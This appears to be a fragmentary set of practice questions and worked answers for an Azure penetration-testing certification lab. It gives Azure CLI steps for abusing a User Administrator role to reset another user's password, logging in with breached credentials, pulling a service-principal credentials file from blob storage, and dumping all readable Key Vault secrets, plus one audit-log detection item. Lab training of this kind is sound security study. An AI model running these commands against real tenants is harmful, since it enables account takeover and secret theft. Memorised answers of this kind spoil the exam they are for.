CCPenX-Az Practice Questions

below.

Explanation:

The answer is the flag found after compromising the target user and enumerating her accessible

Azure resources, usually storage/table data.

Detailed Solution:

Since the second compromised user is a User Administrator, abuse that role to reset the password of

the target user.

az ad user update \

--id [email protected] \

--password 'NewP@ssw0rd12345!' \

--force-change-password-next-sign-in false

Now authenticate as the target user.

az login -u [email protected] -p 'NewP@ssw0rd12345!'

Confirm the login context:

az account show

Check what Azure resources this user can see:

az resource list --output table

Check role assignments:

az role assignment list --all --output table

If the user has storage data-plane permissions, enumerate storage accounts:

az storage account list --output table

If the storage account is known from the lab chain, use it directly:

az storage table list \

--account-name excaliburstore \

--auth-mode login \

--output table

Query each table:

az storage entity query \

--account-name excaliburstore \

--table-name \

--auth-mode login \

--output json

A faster method:

for table in $(az storage table list --account-name excaliburstore --auth-mode login --query "[].name"

-o tsv); do

echo "===== $table ====="

az storage entity query \

--account-name excaliburstore \

--table-name "$table" \

--auth-mode login \

--output table

done

Search the output for:

Flag

SAS

token

container

storage

secret

The flag discovered in this stage is the Q7 answer.

Final Answer:

Use the Flag{...} value returned from the accessible table/storage data after logging in as

[email protected].

================

below.

Explanation:

service-principal-creds.json

Detailed Solution:

Set variables:

ACCOUNT="prodreportstore01"

CONTAINER="sensitive-exports"

SAS="?sv=2025-01-05&ss=b&srt=sco&sp=rl&se=2026-08-01T00:00:00Z&sig="

List blobs:

az storage blob list \

--account-name "$ACCOUNT" \

--container-name "$CONTAINER" \

--sas-token "$SAS" \

--query "[].name" \

--output table

Expected output:

Name

----------------------------

monthly-report.csv

service-principal-creds.json

readme.txt

The credential file is:

service-principal-creds.json

================

below.

Explanation:

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Detailed Solution:

Log in using the supplied breached Azure account.

az login -u [email protected] -p 'pg:Lr{k102l(fh7!'

After successful authentication, check the active Azure subscription context.

az account show

The important fields are:

{

"id": "7403ec86-c39d-4d80-9efa-35c7580ecefa",

"name": "Azure subscription 1",

"tenantDefaultDomain": "azuresecops.onmicrosoft.com",

"tenantDisplayName": "ExcaliburCorp",

"tenantId": "f015f36d-c07f-41fb-9bde-fffc3a22ee8b"

}

The AAD / Microsoft Entra tenant ID is the tenantId.

Final Answer:

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

================

below.

Explanation:

The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised

App Registration.

Detailed Solution:

Stay authenticated as the service principal from Q10.

az account show

List visible Key Vaults:

az keyvault list --output table

If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.

for kv in $(az keyvault list --query "[].name" -o tsv); do

echo "===== $kv ====="

az keyvault secret list \

--vault-name "$kv" \

--output table

done

Once you identify secret names, retrieve their values:

az keyvault secret show \

--vault-name \

--name \

--query value \

--output tsv

To dump all readable secrets from all visible vaults:

for kv in $(az keyvault list --query "[].name" -o tsv); do

echo "===== Vault: $kv ====="

for sec in $(az keyvault secret list --vault-name "$kv" --query "[].name" -o tsv); do

echo "----- Secret: $sec -----"

az keyvault secret show \

--vault-name "$kv" \

--name "$sec" \

--query value \

--output tsv

done

done

Look for the final value in this format:

Flag{...}

That returned secret value is the final tenant flag.

Final Answer:

Use the Flag{...} value returned by az keyvault secret show.

below.

Explanation:

Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021

Detailed Solution:

Log in with the supplied account:

az login -u [email protected] -p ''

Show the active Azure context:

az account show --output json

Expected relevant output:

{

"id": "5d8e44ac-24a9-43d9-9cb5-71b227a58021",

"name": "CloudCorp Security Lab",

"tenantDefaultDomain": "cloudcorpsec.onmicrosoft.com",

"tenantId": "8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a"

}

The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.

================

Detailed Solution:

Resolve the service principal object ID:

az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv

Then list role assignments:

SP_OBJECT_ID=$(az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv)

az role assignment list \

--assignee "$SP_OBJECT_ID" \

--all \

--output table

Expected output:

Principal

Role

Scope

------------------------------------ ----------- ----------------------------------------

Contributor /subscriptions/5d8e44ac-...

Correct answer:

B. Contributor

================

Detailed Solution:

Use the app registration credentials recovered from blob storage.

az login --service-principal \

-u '' \

-p '' \

--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Confirm that you are authenticated as a service principal:

az account show

Now enumerate role assignments for the app registration.

az role assignment list \

--assignee '' \

--all \

--output table

If the --assignee lookup fails, first resolve the service principal object ID:

az ad sp show \

--id '' \

--query id \

--output tsv

Then query role assignments by object ID:

SP_OBJECT_ID=$(az ad sp show --id '' --query id -o tsv)

az role assignment list \

--assignee "$SP_OBJECT_ID" \

--all \

--output table

The assigned role is:

Key Vault Secrets User

This role allows the principal to read secret values from Azure Key Vault. That is the lateral

movement path into the final flag.

Final Answer:

A . Key Vault Secrets User

================

Detailed Solution:

In an Entra ID abuse path, a privileged user such as User Administrator may reset another user’s

password. In logs, this appears as a user update operation involving the password profile.

Check audit logs in the portal:

Microsoft Entra ID → Monitoring → Audit logs

Or query via Microsoft Graph/Azure tooling depending on permissions.

The activity to look for is generally:

Update user

Modified property: passwordProfile

The other options represent different activities:

Microsoft.Authorization/roleAssignments/write

= RBAC role assignment change

Microsoft.Storage/storageAccounts/listKeys/action = storage account key retrieval

Microsoft.KeyVault/vaults/secrets/read

= Key Vault secret read

Correct answer:

B. Update user / password profile modification

Thank you for your visit.

Detailed Solution:

On an Azure VM with a system-assigned managed identity, run:

az login --identity

Then verify:

az account show

For a user-assigned managed identity, specify the client ID:

az login --identity --client-id

Microsoft’s Azure CLI documentation confirms az login --identity for system-assigned managed

identities and --client-id, --object-id, or --resource-id for user-assigned identities.

Correct answer:

B. az login --identity

================

Detailed Solution:

Query role assignments for the managed identity principal:

az role assignment list \

--assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \

--all \

--output table

Expected output:

Principal

Role

Scope

------------------------------------ ---------------------- ----------------------------------------------

b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User

/subscriptions/.../resourceGroups/rg-prod-apps-eastus

The assigned role is:

Key Vault Secrets User

Azure RBAC role assignments can be granted to users, groups, service principals, and managed

identities.

================